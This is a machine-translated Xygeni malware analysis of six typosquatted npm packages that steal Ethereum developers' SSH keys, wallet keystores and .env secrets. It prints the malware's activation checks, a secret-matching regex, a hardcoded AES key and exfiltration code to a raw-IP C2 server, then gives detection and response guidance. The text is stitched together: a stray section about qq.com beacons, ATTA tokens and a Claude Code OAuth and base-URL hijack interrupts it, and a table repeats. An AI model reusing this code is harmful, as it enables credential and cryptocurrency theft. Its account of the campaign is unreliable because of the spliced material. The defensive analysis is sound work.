Xygeni Logo Dawb
Pib Dawb
Phau ntawv Demo
EVMDeFi npm Typosquatting Attack nyiag tus yuam sij ntawm tus tsim tawm

EVM/DeFi npm Typosquatting Attack nyiag Developer Keys

Table of Contents

Cov ntawv nyeem uas yuav tsum nyeem

Cov ntawv tshaj tawm tshiab tshaj plaws uas txaus siab

TL; DR

Thaum Lub Tsib Hlis 6, 2026, ib tus tshaj tawm npm, namikazesarada010206, thawb rau lub pob khoom phem uas tsom mus rau Ethereum, Solidity, thiab DeFi tus tsim tawm ecosystem.

Cov pob khoom, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, Thiab web3-utils-core, siv cov npe uas tsim los zoo li cov tsev qiv ntawv pabcuam rau cov cuab yeej Web3 nrov.

Tag nrho rau lub pob khoom muaj tib yam telemetry.js cov ntaub ntawv. Cov ntaub ntawv yog byte-zoo ib yam thoob plaws hauv pawg, nrog SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

Cov malware tsis ua haujlwm thaum lub sijhawm teeb tsa. Tsis muaj preinstall or postinstall nuv. Hloov chaw, nws qhib thaum lub pob khoom raug xa tuaj los ntawm require().

Qhov kev qhia meej ntawd tseem ceeb heev.

Lub implant tos kom txog thaum tus tsim tawm siv lub pob khoom tiag tiag. Tom qab ntawd nws xyuas seb lub workstation puas zoo li lub chaw tsim khoom Ethereum / Solidity tiag tiag. Nws nrhiav Alchemy lossis Infura keys, private keys, mnemonics, deployer keys, lossis ib daim nplaub tshev Foundry hauv zos.

Yog tias tus tswv tsev sib phim, tus neeg nyiag khoom sau cov yuam sij ntiag tug SSH, Foundry / Geth / Brownie hnab nyiaj keystores, .env* cov ntaub ntawv, thiab cov hloov pauv ib puag ncig rhiab heev. Nws encrypts lub pob khoom nrog AES-256-GCM siv cov lus zais hardcoded thiab exfiltrates nws mus rau qhov kawg IPv4 C2 raw nrog TLS kev txheeb xyuas tsis siv neeg.

Xygeni lub Malware Early Warning (MEW) system tau lees paub tag nrho rau lub pob khoom raws li qhov txaus ntshai. Daim ntawv qhia txog kev tshem tawm npm registry tseem tab tom tos.

Pawg: Rau Pob Khoom, Ib Tus Neeg Tshaj Tawm

Tus account ntawm tus tshaj tawm namikazesarada010206 tau txuas nrog rau qhov chaw nyob Gmail uas tsis tau txheeb xyuas namikazesarada010206@gmail.com.

Daim phiaj xwm tau tshwm sim ua ib hnub tshaj tawm thaum Lub Tsib Hlis 6, 2026. Tag nrho rau pob khoom tau raug hloov kho raws li 1.0.0, muaj xoom qhov kev vam khom ntawm lub sijhawm khiav, thiab xa tsuas yog peb cov ntaub ntawv:

package.json index.js telemetry.js

Lawv kuj tau tshaj tawm tib lub chaw khaws ntaub ntawv:

https://github.com/harunosakura030303-maker/evmchain-config

Peb pob khoom thawj zaug tau raug ntes los ntawm MEW scanners thaum luam tawm thawj zaug. Peb qhov seem tau raug yuam kom cim tom qab kev tshuaj xyuas ntawm tus kws tshuaj ntsuam xyuas ntawm tus tshaj tawm tus npm profile. Thaum tib lub byte-identical telemetry.js tau lees paub thoob plaws pawg, lawv raug kaw raws li kev ua phem los ntawm kev sib xws.

pob version npm Luam tawm Daim pib MEW kev txiav txim
viem-core 1.0.0 2026-05-06 01:38:44Z #51049 Siab phem
viem-utils-core 1.0.0 2026-05-06 #51050 Siab phem
hardhat-core-utils 1.0.0 2026-05-06 #51051 Siab phem
evm-utils 1.0.0 2026-05-06 #51069 Siab phem, los ntawm kev sib xws
cov khoom siv hauv kev tsim khoom 1.0.0 2026-05-06 #51071 Siab phem, los ntawm kev sib xws
web3-utils-core 1.0.0 2026-05-06 #51070 Siab phem, los ntawm kev sib xws

Txoj kev siv lub npe yooj yim tab sis muaj txiaj ntsig zoo.

Cov pob khoom no tsis ua txuj ua li cov npe upstream tseeb. Hloov chaw, lawv siv cov lus "utility" uas muaj peev xwm ua tau xws li -core, -utils, Thiab -utils-coreQhov ntawd ua rau lawv zoo li cov tsev qiv ntawv sib koom ua ke uas tus tsim tawm yuav xav pom ze ntawm Web3 cov cuab yeej.

Pob Khoom Phem Lub Hom Phiaj Raug Cai
viem-core viem, ib tus neeg siv khoom Ethereum TypeScript nrov
viem-utils-core viem
hardhat-core-utils hardhat, ib qho chaw loj hlob ntawm Solidity
evm-utils Lub npe ntawm cov cuab yeej EVM dav dav
cov khoom siv hauv kev tsim khoom lub tuam txhab tsim khoom, ib lub tuam txhab Solidity
web3-utils-core web3-utils, Web3.js cov neeg pab

Nov yog tus qauv "pob khoom ntxiv": tsis yog "Kuv yog pob khoom tiag tiag," tab sis "Kuv zoo li tus pab cuam tsim nyog nyob ib puag ncig pob khoom tiag tiag."

Rau cov neeg tsim khoom DeFi txav mus sai, qhov ntawd txaus los tsim kev pheej hmoo.

Yuav Muaj Dab Tsi Tshwm Sim Thaum Lub Pob Khoom Tuaj Txog

Cov saw hlau tawm tsam yog me me, txhob txwm ua, thiab tsom mus rau cov chaw tsim kho crypto.

Tsis muaj qhov txuas rau kev teeb tsa. Hloov chaw, txhua pob khoom muaj ib qho index.js uas xa tawm cov haujlwm stub thiab tom qab ntawd thauj cov malicious telemetry module.

require('./telemetry').init();

Qhov no txhais tau tias cov malware ua haujlwm thaum thawj zaug xa tawm.

Qhov ntawd muaj txiaj ntsig zoo rau tus neeg tawm tsam. Ntau lub scanners thiab sandboxes tsom mus rau tus cwj pwm ntawm lub sijhawm teeb tsa. Lub pob no tos kom txog thaum nws raug siv los ntawm tus tsim tawm, tsim cov ntawv sau, cov chav kuaj, lossis txoj kev khiav.

Rooj vag qhib: Tsuas yog hluav taws rau ntawm Real Web3 Developer Workstations

Qhov tseem ceeb tshaj plaws ntawm qhov implant yog lub rooj vag activation.

Cov malware kuaj xyuas cov kev hloov pauv ib puag ncig uas feem ntau pom ntawm Ethereum / Solidity cov tshuab tsim tawm:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

Nws kuj tseem xyuas seb Foundry puas zoo li tau teeb tsa:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Yog tias ob qho tib si tsis muaj tseeb, qhov kev ua haujlwm rov qab thiab tsis ua dab tsi.

Qhov ntawd ua rau lub pob khoom ntsiag to dua hauv cov chaw tshuaj xyuas dav dav. Lub sandbox uas tsis muaj Foundry, Alchemy keys, Infura keys, private keys, lossis mnemonics yuav pom qhov import uas zoo li tsis muaj teeb meem.

Ntawm ib lub host uas phim, cov malware tos 60 txog 90 vib nas this ua ntej sau:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

Qhov kev ncua sij hawm txo qhov kev sib raug zoo ntawm kev xa khoom tuaj thiab kev rho tawm. .unref() kev hu xov tooj kuj tseem cia tus txheej txheem ntawm tus tswv tsev tawm mus li qub yog tias pob khoom tau xa tuaj rau hauv tsab ntawv luv luv.

Qhov no tsis yog kev ntaus thiab ntes nrov nrov. Nws yog ib qho kev nyiag uas tsim los kom tsis txhob khiav tshwj tsis yog tias qhov chaw tsim khoom tsim nyog nyiag los ntawm.

Dab tsi tus neeg nyiag khoom sau

Thaum lub rooj vag qhib kev ua haujlwm dhau mus, cov malware sau los ntawm cov chaw tseem ceeb tshaj plaws hauv kev tsim kho Web3: cov yuam sij ntiag tug, cov khw muag khoom hauv hnab nyiaj, cov ntaub ntawv pov thawj xa tawm, cov lus zais huab, npm tokens, thiab kev teeb tsa qhov project hauv zos.

Tau qhov twg los Dab Tsi Yog Sau Los
txheej txheem.env Txhua qhov sib txawv uas phim /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Cov ntaub ntawv muaj PRIVATE KEY lossis BEGIN OPENSSH, suav nrog cov ntsiab lus ntawm cov ntaub ntawv tag nrho
~/.foundry/keystores/* Cov ntaub ntawv khaws cia ntawm lub hnab nyiaj Foundry
~/.ethereum/keystore/* Geth hnab nyiaj keystore cov ntaub ntawv
~/.brownie/cov nyiaj/* Cov ntaub ntawv khaws cia ntawm Brownie hnab nyiaj
${cwd}/.env Cov ntsiab lus ntawm cov ntaub ntawv tag nrho
${cwd}/.env.local Cov ntsiab lus ntawm cov ntaub ntawv tag nrho
${cwd}/.env.production Cov ntsiab lus ntawm cov ntaub ntawv tag nrho
${cwd}/.env.kev txhim kho Cov ntsiab lus ntawm cov ntaub ntawv tag nrho
os.hostname() Cov ntaub ntawv metadata ntawm tus tswv tsev
crypto.randomUUID() Tus neeg raug tsim txom/tus neeg raug mob
Hnub tim.tam sim no() Lub sijhawm sau 
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

Cov cim ATTA yog:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

Peb tseem tsis tau paub tseeb tias qhov telemetry yog tus neeg teb xov tooj tus kheej cov kev tshuaj xyuas lossis yog ib txoj kev tau nyiaj sib cais. Cov ATTA tokens zoo ib yam hauv ob qho qauv uas peb tau tshuaj xyuas.

Pawg B: heibai

claude.hk OAuth Phishing + ANTHROPIC_BASE_URL Hijack

Cov qauv rau lub Plaub Hlis 1 yog qhov cruder, ua ntej ntawm kev sib tw.

heibai:2.1.88-claude.hk-4 tau luam tawm los ntawm wuguoqiangvip28, ib tus account tsim rau lub Rau Hli 7, 2025. Lub pob ntawv tau qhia meej txog nws tus kheej tawm tsam qhov raug cai 2.1.88 Kev tso tawm ntawm tib neeg.

Nws tsis cuam tshuam nrog CA-cert MITM. Hloov chaw, nws dag rau tus neeg siv txog qhov kawg ntawm OAuth.

Cov kev ntxiv phem ntxiv rau saum Claude Code qhov chaw xau suav nrog:

Tau qhov twg los Dab Tsi Yog Sau Los
txheej txheem.env Txhua qhov sib txawv uas phim /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Cov ntaub ntawv muaj PRIVATE KEY lossis BEGIN OPENSSH, suav nrog cov ntsiab lus ntawm cov ntaub ntawv tag nrho
~/.foundry/keystores/* Cov ntaub ntawv khaws cia ntawm lub hnab nyiaj Foundry
~/.ethereum/keystore/* Geth hnab nyiaj keystore cov ntaub ntawv
~/.brownie/cov nyiaj/* Cov ntaub ntawv khaws cia ntawm Brownie hnab nyiaj
${cwd}/.env Cov ntsiab lus ntawm cov ntaub ntawv tag nrho
${cwd}/.env.local Cov ntsiab lus ntawm cov ntaub ntawv tag nrho
${cwd}/.env.production Cov ntsiab lus ntawm cov ntaub ntawv tag nrho
${cwd}/.env.kev txhim kho Cov ntsiab lus ntawm cov ntaub ntawv tag nrho
os.hostname() Cov ntaub ntawv metadata ntawm tus tswv tsev
crypto.randomUUID() Tus neeg raug tsim txom/tus neeg raug mob
Hnub tim.tam sim no() Lub sijhawm sau

Daim ntawv teev cov neeg uas xav tau yog qhov tshwj xeeb heev. Qhov no tsis yog kev nyiag browser dav dav lossis kev rho tawm cov ntaub ntawv pov thawj dav dav. Nws yog rau cov neeg tsim khoom uas tsim, sim, xa tawm, lossis ua haujlwm Ethereum applications.

Qhov kev suav nrog Foundry, Geth, thiab Brownie keystores yog qhov tseem ceeb heev. Cov ntaub ntawv no tuaj yeem sawv cev rau kev nkag mus rau cov hnab nyiaj lossis cov cim xa tawm ncaj qha. Yog tias tus neeg tawm tsam tuaj yeem txuas lawv nrog cov passwords, mnemonics, lossis cov lus zais ib puag ncig, lawv yuav tuaj yeem tsiv cov nyiaj, ua txuj ua tus neeg xa tawm, lossis cuam tshuam cov haujlwm cog lus ntse.

Kev Encryption Ua Ntej Exfiltration

Cov malware encrypts cov ntaub ntawv sau ua ntej xa tawm.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Cov lus zais hardcoded yog:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Qhov payload kawg yog qhwv ua JSON:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Kev encryption tsis ua rau cov malware nce qib ntxiv los ntawm nws tus kheej. Txawm li cas los xij, nws ua rau kev tshuaj xyuas network nyuaj dua. Tus neeg tiv thaiv saib xyuas kev tawm mus yuav pom JSON payload, tab sis tsis yog cov yuam sij raug nyiag, cov ntaub ntawv hnab nyiaj, lossis .env cov ntsiab lus tsis muaj kab lus zais hardcoded thiab decryption logic.

Kev lim dej mus rau Raw IPv4 C2

Txoj kev exfiltration yog hardcoded:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

Cov malware xa cov ntaub ntawv mus rau:

https://76.13.37.80:8443/api/v1/telemetry

Muaj ob qho tseem ceeb uas sawv tawm.

Ua ntej, C2 yog qhov chaw nyob IPv4 raw es tsis yog lub npe sau. Qhov ntawd tshem tawm qhov xav tau kev sau npe sau thiab zam qee qhov kev kuaj pom raws li lub npe sau.

Qhov thib ob, kev txheeb xyuas TLS raug kaw nrog:

rejectUnauthorized: false

Qhov ntawd tso cai rau tus malware lees txais txhua daim ntawv pov thawj, suav nrog daim ntawv pov thawj uas tus kheej kos npe. Hauv lwm lo lus, tus neeg tawm tsam tau txais kev thauj mus los encrypted yam tsis tas yuav muaj daim ntawv pov thawj pej xeem siv tau.

Tsis muaj kev xav rov sim dua thiab tsis muaj tus tswv tsev rov qab. Cov yuam kev raug nqos ntsiag to. Qhov no ua rau pob khoom ntsiag to yog tias C2 offline lossis tsis tuaj yeem ncav cuag.

Yog vim li cas qhov kev sib tw no tseem ceeb

Feem ntau cov pob npm phem uas tsom rau cov neeg tsim khoom nrhiav cov ntaub ntawv pov thawj dav dav: npm tokens, AWS keys, GitHub tokens, lossis .npmrc cov ntaub ntawv.

Txoj kev sib tw no ua rau lub hom phiaj nqaim dua.

Nws nrhiav cov cim qhia tias lub tshuab yog Ethereum lossis Solidity tus tsim tawm. Tom qab ntawd nws rub cov khoom muaj nqis uas tseem ceeb hauv qhov chaw ntawd: cov keystores hnab nyiaj, cov private keys, mnemonics, deployer keys, .env cov ntaub ntawv, thiab SSH yuam sij.

Qhov ntawd ua rau qhov kev sib tw no muaj kev phom sij ntau dua rau cov pab pawg Web3 dua li tus neeg nyiag npm dav dav.

Kev kis kab mob zoo tuaj yeem ua rau muaj:

  • Cov hnab nyiaj xa tawm
  • Cov yuam sij tswj hwm daim ntawv cog lus ntse
  • Cov yuam sij ntawm tus neeg muab kev pabcuam RPC
  • Cov ntaub ntawv pov thawj xa mus rau huab
  • npm publishing tokens
  • Kev nkag mus rau tus tsim tawm lossis tsim cov khoom siv SSH
  • Cov lus zais ntawm qhov project khaws cia rau hauv .env cov ntaub ntawv
  • Cov chaw khaws nyiaj rau Foundry, Geth, lossis Brownie

Cov npe pob khoom kuj qhia meej txog kev tsim kho hauv zej zog. Lawv tsom mus rau Web3 tus tsim tawm ecosystem los ntawm cov npe cuab yeej paub zoo: viem, hardhat, foundry, evm, Thiab web3.

Tus neeg ua yeeb yam tsis tas yuav cuam tshuam cov haujlwm tiag tiag. Lawv tsuas yog xav tau tus tsim tawm los nruab ib pob khoom uas zoo li tsim nyog.

Cov Cim Qhia Txog Kev Ua Phem Thiab Kev Tshawb Pom

Cov pob khoom thiab tus tshaj tawm
teb Tus nqi
npm publisher namikazesarada010206
Tus tshaj tawm email namikazesarada010206@gmail.com
email txheeb xyuas Tsis yog
SCM xyuas tau tseeb Tsis yog
Cov qhab nia ntawm lub koob npe nrov 1.0
Tej pob khoom viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core
versions Txhua 1.0.0
Qhov chaw khaws ntaub ntawv https://github.com/harunosakura030303-maker/evmchain-config
Pom tseeb tias muaj kev phem Tag nrho rau pob khoom
network
hom Tus nqi
C2 qhov kawg https://76.13.37.80:8443/api/v1/telemetry
C2 IP 76.13.37.80
C2 chaw nres nkoj 8443/tcp
Tus cwj pwm ntawm TLS tsis lees txais: cuav
Daim phiaj xwm them nqi {"v":2,"iv": ,"d": ,"t": }
Cov Ntaub Ntawv thiab Hashes
hom Tus nqi
telemetry.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Kev teeb tsa pob khoom pob khoom.json, index.js, telemetry.js
suav cov ntaub ntawv 3
Kwv yees li qhov loj tag nrho 3.4 KB

Cov Cim Qhia Txog Kev Ua Haujlwm

Cov malware kuaj xyuas cov kev hloov pauv ib puag ncig no:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

Nws kuj tshawb xyuas rau:

~/.foundry/

Cov Kev Taug Kev Rau Cov Tswv Cuab

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Cov Qauv Sau

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Cov Lus Cim Txog Kev Tshawb Pom

Muaj ntau txoj cai uas ntes tau qhov kev sib tw no yam tsis tas yuav tsum tau kev tshuaj xyuas tus cwj pwm tag nrho.

Ua ntej, luam theej cov ntaub ntawv xauv rau rau lub npe pob khoom phem:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Txhua qhov sib tw hauv package-lock.json, yarn.lock, pnpm-lock.yaml, los yog node_modules keeb kwm yuav tsum raug suav hais tias yog ib qho xwm txheej loj heev.

Qhov thib ob, saib xyuas seb Node.js cov txheej txheem nyeem cov txoj hauv kev khaws cia nyiaj hauv hnab nyiaj:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

Qhov no tsis tshua muaj tus cwj pwm raug cai rau pob khoom xa tuaj raws li kev pab txhawb nqa. Nws yog qhov tsis ntseeg tshwj xeeb thaum ua raws li kev ua haujlwm ntawm lub network tawm mus.

Qhov thib peb, thaiv lossis ceeb toom rau kev sib txuas HTTPS rau:

76.13.37.80:8443

Tshwj xeeb tshaj yog thaum txoj kev thov yog:

/api/v1/telemetry

Qhov thib plaub, nrhiav cov pob npm uas muab cov yam ntxwv no ua ke:

  • Tus tshaj tawm tshiab lossis tsis muaj koob npe nrov
  • Tus account Gmail uas tsis tau txheeb xyuas
  • Lub npe pob khoom uas nyob ib sab ntawm Web3
  • Tsis muaj keeb kwm chaw khaws ntaub ntawv tseem ceeb
  • Kev teeb tsa pob me me
  • index.js uas thauj cov ntaub ntawv telemetry lossis cov ntaub ntawv pabcuam
  • Tsis muaj kev vam khom ntawm lub sijhawm khiav
  • Kev sau cov khoom siv hloov pauv ntawm ib puag ncig uas rhiab heev
  • Kev nkag mus rau hauv lub khw muag khoom siv nyiaj

Tus qauv no muaj txiaj ntsig zoo dua li ib qho IOC vim tias pob khoom tom ntej yuav hloov chaw nyob IP tab sis khaws tib lub hom phiaj.

Daim Ntawv Teev Cov Lus Teb Txog Kev Ua Phem

Yog tias tus tsim tawm siv ib qho ntawm rau lub pob khoom thiab lawv qhov chaw ib puag ncig phim lub rooj vag qhib, kho qhov chaw ua haujlwm raws li muaj kev cuam tshuam.

Qhov ntawd suav nrog cov tshuab uas muaj Foundry ntsia, Alchemy lossis Infura cov yuam sij hauv ib puag ncig, cov yuam sij ntiag tug, mnemonics, lossis cov yuam sij deployer.

Cov lus teb pom zoo:

  • Tshem tus tswv tsev ntawm lub network.
  • Khaws cia node_modules, cov ntaub ntawv xauv, keeb kwm plhaub, thiab cov cav tseem ceeb rau kev tshuaj xyuas kev ua txhaum cai.
  • Tig txhua tus SSH keypair hauv qab ~/.ssh/.
  • Tig cov yuam sij hnab nyiaj rau txhua lub khw muag khoom hauv qab ~/.foundry, ~/.ethereum, Thiab ~/.brownie.
  • Siv cov nyiaj mus rau hauv cov hnab nyiaj tshiab.
  • Tig txhua qhov zais cia rau hauv .env* cov ntaub ntawv hauv cov chaw khaws ntaub ntawv uas tus tsim tawm ua haujlwm hauv.
  • Tig cov lus zais ib puag ncig uas phim cov regex sau, suav nrog AWS cov yuam sij, npm tokens, deploy tokens, API cov yuam sij, cov yuam sij ntiag tug, noob, thiab mnemonics.
  • Tshawb xyuas huab, npm, GitHub, RPC tus neeg muab kev pab, thiab blockchain kev ua haujlwm txij li thaum lub pob tau teeb tsa thawj zaug.
  • Rov ua dua daim duab ntawm lub chaw ua haujlwm ua ntej siv dua.

Cov neeg tiv thaiv yuav tsum tau ua dab tsi

Daim phiaj xwm no qhia tau hais tias npm typosquatting tab tom hloov pauv li cas nyob ib puag ncig cov ecosystem tsim khoom muaj nqis siab.

Tus neeg ua yeeb yam tsis xav tau kev ua siab ntev. Lawv tsis xav tau kev ua kom tsis meej pem. Lawv tsis txawm xav tau kev ua tiav ntawm lub sijhawm teeb tsa.

Hloov chaw, lawv tau vam khom peb yam:

  • Cov npe pob khoom Web3 uas muaj peev xwm ua tau
  • Kev ua kom tsuas yog siv rau cov tshuab crypto-development tiag tiag
  • Kev nyiag ncaj qha ntawm cov ntaub ntawv thiab cov lus zais uas tseem ceeb tshaj plaws rau cov neeg tsim khoom Ethereum

Qhov ntawd ua rau txoj kev sib tw yooj yim kom tsis pom thaum luam theej dav dav thiab muaj kev phom sij thaum nws tsaws rau hauv qhov chaw zoo.

Rau cov pab pawg Web3, zaj lus qhia meej meej: siv cov npe vam khom ua ib feem ntawm koj tus qauv kev hem thawj. Ib pob khoom uas zoo li tus pab cuam tsis muaj teeb meem tseem tuaj yeem dhau los ua txoj hauv kev luv tshaj plaws rau kev cuam tshuam nyiaj txiag.

Tau tshaj tawm rau npm registry. Peb yuav hloov kho qhov kev tshaj tawm no thaum tus account publisher thiab cov pob khoom raug tshem tawm.

Kev Tshawb Nrhiav Malware Xygeni MEW
cov cuab yeej sca-software-composition-analysis-cuab yeej
Tsom xyuas qhov tseem ceeb, kho, thiab tiv thaiv koj cov kev pheej hmoo software
Tau txais koj tus Account Dawb.
Tsis muaj credit card yuav tsum tau.
Pib Dawb

Ruaj ntseg koj txoj kev tsim kho software thiab kev xa khoom

nrog Xygeni Product Suite

Pib Dawb
Mus ncig xyuas cov khoom
Xygeni Logo Dawb

© 2026 Xygeni. Tag nrho cov cai raug tseg cia

Linkedin-hauv X-twitter youtube

cov khoom siv

Cov Kev Pab Rau Cov Lag Luam

lub tuam txhab

Raws li txoj cai